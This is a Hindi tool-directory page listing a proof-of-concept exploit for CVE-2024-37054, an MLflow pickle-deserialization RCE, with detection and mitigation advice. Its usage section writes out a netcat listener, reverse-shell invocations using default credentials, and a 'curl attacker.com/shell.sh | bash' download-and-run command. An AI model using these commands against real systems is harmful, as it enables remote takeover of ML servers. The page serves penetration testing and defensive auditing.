Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-37054 — CVE-2024-37054 के लिए प्रमाण-अवधारणा शोषण, MLflow ट्रैकिंग सर्वर में अचार डीसेरिएलाइज़ेशन RCE। प्रमाणित हमलावर दूरस्थ कोड निष्पादन प्राप्त करने के लिए मॉडल कलाकृतियों को अधिलेखित कर सकते हैं। पहचान और शमन मार्गदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/ben-slates/cve-2024-37054
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubben-slates/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 के लिए प्रमाण-अवधारणा शोषण, MLflow ट्रैकिंग सर्वर में अचार डीसेरिएलाइज़ेशन RCE। प्रमाणित हमलावर दूरस्थ कोड निष्पादन प्राप्त करने के लिए मॉडल कलाकृतियों को अधिलेखित कर सकते हैं। पहचान और शमन मार्गदर्शन शामिल है।

रिपॉजिटरी देखें
5453 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-37054 — MLflow Pickle Deserialization RCE

Python CVE CVSS Affected License

MLflow Tracking Server में एक महत्वपूर्ण पिकल डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्रमाणित रिमोट कोड निष्पादन को सक्षम करता है।

⚠️ केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।


भेद्यता अवलोकन

फ़ील्डमान
CVE IDCVE-2024-37054
CVSS स्कोर8.8 (HIGH)
CVSS वेक्टरCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
प्रभावित संस्करणMLflow < 2.14.3
पैच किया गया संस्करणMLflow ≥ 2.14.3
भेद्यता प्रकारCWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
आक्रमण वेक्टरनेटवर्क
आवश्यक विशेषाधिकारनिम्न (मान्य क्रेडेंशियल्स)
उपयोगकर्ता सहभागिताकोई नहीं

विवरण

MLflow Tracking Server, मॉडल को अनुमान के लिए लोड करते समय पायथन के pickle मॉड्यूल के माध्यम से मॉडल आर्टिफैक्ट्स को डिसीरियलाइज़ करता है। एक प्रमाणित हमलावर MLflow के आर्टिफैक्ट रिपॉजिटरी में python_model.pkl आर्टिफैक्ट को एक दुर्भावनापूर्ण पिकल पेलोड के साथ अधिलेखित कर सकता है। जब मॉडल को बाद में लोड किया जाता है (जैसे, एक पूर्वानुमान अनुरोध के दौरान), तो पेलोड डिसीरियलाइज़ हो जाता है, जिससे सर्वर पर मनमाना कोड निष्पादित होता है।

शोषण के लिए पूर्वापेक्षाएँ:

  • MLflow Tracking Server तक नेटवर्क पहुंच
  • मान्य MLflow क्रेडेंशियल्स (डिफ़ॉल्ट या अन्यथा)
  • आर्टिफैक्ट्स तक लिखने की पहुंच (सभी प्रमाणित उपयोगकर्ताओं को दी गई)

प्रभाव

सफल शोषण से MLflow सर्वर प्रक्रिया के विशेषाधिकार स्तर पर रिमोट कोड निष्पादन होता है, जिससे पूर्ण सिस्टम समझौता, डेटा बहिर्गमन, पार्श्व गति, या स्थायी पहुंच हो सकती है।


एक्सप्लॉइट कैसे काम करता है

  1. मॉडल पंजीकरण — एक वैध प्रशिक्षण डेटासेट अपलोड करके एक नया MLflow रन बनाया जाता है और मानक आर्टिफैक्ट्स के साथ एक मॉडल संस्करण पंजीकृत किया जाता है।
  2. आर्टिफैक्ट अधिलेखन — python_model.pkl आर्टिफैक्ट को PUT /api/2.0/mlflow-artifacts/artifacts/... के माध्यम से एक तैयार पिकल पेलोड से बदल दिया जाता है।
  3. डिसीरियलाइज़ेशन ट्रिगर — एक पूर्वानुमान अनुरोध के कारण MLflow समझौता किए गए आर्टिफैक्ट पर pickle.load() को कॉल करता है।
  4. कोड निष्पादन — पिकल की __reduce__ विधि os.system() को लागू करती है, जो हमलावर के कमांड को निष्पादित करती है।

पेलोड os.system() (एक C बिल्ट-इन) का उपयोग करता है, न कि cloudpickle का, ताकि क्रॉस-वर्जन संगतता को अधिकतम किया जा सके और पायथन संस्करण-विशिष्ट बाइटकोड समस्याओं से बचा जा सके।


स्थापना

आवश्यकताएँ: Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

उपयोग

root@kitploit:~
# एक लिसनर शुरू करें
nc -lvnp 4444

# एक्सप्लॉइट चलाएं
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

उदाहरण

root@kitploit:~
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

विकल्प

तर्कविवरण
targetलक्ष्य एप्लिकेशन URL
mlflowMLflow Tracking Server URL
lhostरिवर्स शेल कॉलबैक के लिए हमलावर होस्ट
lportरिवर्स शेल कॉलबैक के लिए हमलावर पोर्ट
--mlflow-creds USER:PASSMLflow क्रेडेंशियल्स (डिफ़ॉल्ट: admin:password)
--app-usernameएप्लिकेशन लॉगिन उपयोगकर्ता नाम
--app-passwordएप्लिकेशन लॉगिन पासवर्ड
--app-login-urlलॉगिन एंडपॉइंट पथ
--upload-urlअपलोड एंडपॉइंट पथ
--predict-urlपूर्वानुमान एंडपॉइंट पथ
--experiment-id IDएक विशिष्ट प्रयोग ID लक्षित करें
--delay SECONDSचरणों के बीच विलंब (डिफ़ॉल्ट: 2s)
--cmd COMMANDनिष्पादित करने के लिए कस्टम कमांड
--verbose / --quietवर्बोसिटी नियंत्रण
--no-colorरंगीन आउटपुट अक्षम करें

पहचान

नेटवर्क संकेतक

  • /api/2.0/mlflow-artifacts/artifacts/ एंडपॉइंट पर PUT अनुरोध
  • python_model.pkl पर अप्रत्याशित संशोधन टाइमस्टैम्प
  • POST /api/2.0/mlflow/runs/search के तुरंत बाद आर्टिफैक्ट संशोधन

होस्ट संकेतक

  • MLflow प्रक्रियाओं से अप्रत्याशित os.system() कॉल
  • MLflow वर्कर प्रक्रियाओं से उत्पन्न पायथन सबप्रोसेसेस
  • MLflow सर्वर से अज्ञात होस्टों के लिए आउटबाउंड कनेक्शन

लॉग क्वेरीज़

root@kitploit:~
# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

शमन

तत्काल:

  • MLflow को 2.14.3 या बाद के संस्करण में अपग्रेड करें
  • किसी भी डिफ़ॉल्ट या कमजोर क्रेडेंशियल्स को बदलें
  • MLflow API एंडपॉइंट तक नेटवर्क पहुंच प्रतिबंधित करें
  • छेड़छाड़ के संकेतों के लिए आर्टिफैक्ट संशोधन इतिहास का ऑडिट करें

दीर्घकालिक:

  • मॉडल लोड करने से पहले आर्टिफैक्ट हस्ताक्षर और अखंडता सत्यापन लागू करें
  • मॉडल हस्ताक्षर प्रवर्तन का उपयोग करें और जहां संभव हो पिकल-आधारित मॉडल फ्लेवर्स को प्रतिबंधित करें
  • MLflow ऑडिट लॉगिंग सक्षम करें और अप्रत्याशित आर्टिफैक्ट लेखन पर सतर्क करें

परीक्षण किए गए वातावरण

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • विभिन्न तैनाती कॉन्फ़िगरेशन: स्थानीय, Docker, Kubernetes

संदर्भ

  • NVD — CVE-2024-37054
  • MLflow सुरक्षा सलाहकार
  • CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
  • MLflow दस्तावेज़ीकरण — मॉडल रजिस्ट्री

अस्वीकरण

यह उपकरण केवल निम्नलिखित के लिए अभिप्रेत है:

  • डिसीरियलाइज़ेशन भेद्यताओं का अध्ययन करने वाले सुरक्षा शोधकर्ता
  • लिखित प्राधिकरण के तहत काम करने वाले पेनिट्रेशन टेस्टर
  • अपने स्वयं के MLflow तैनातियों का ऑडिट करने वाले सिस्टम प्रशासक
  • नियंत्रित प्रयोगशाला वातावरण में शैक्षिक उपयोग

इस उपकरण का उपयोग किसी भी ऐसे सिस्टम पर न करें जिसके आप मालिक नहीं हैं या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।


लाइसेंस

MIT — विवरण के लिए LICENSE देखें।


संपर्क

📧 [email protected]
🐛 एक समस्या रिपोर्ट करें

टूल डाउनलोड करें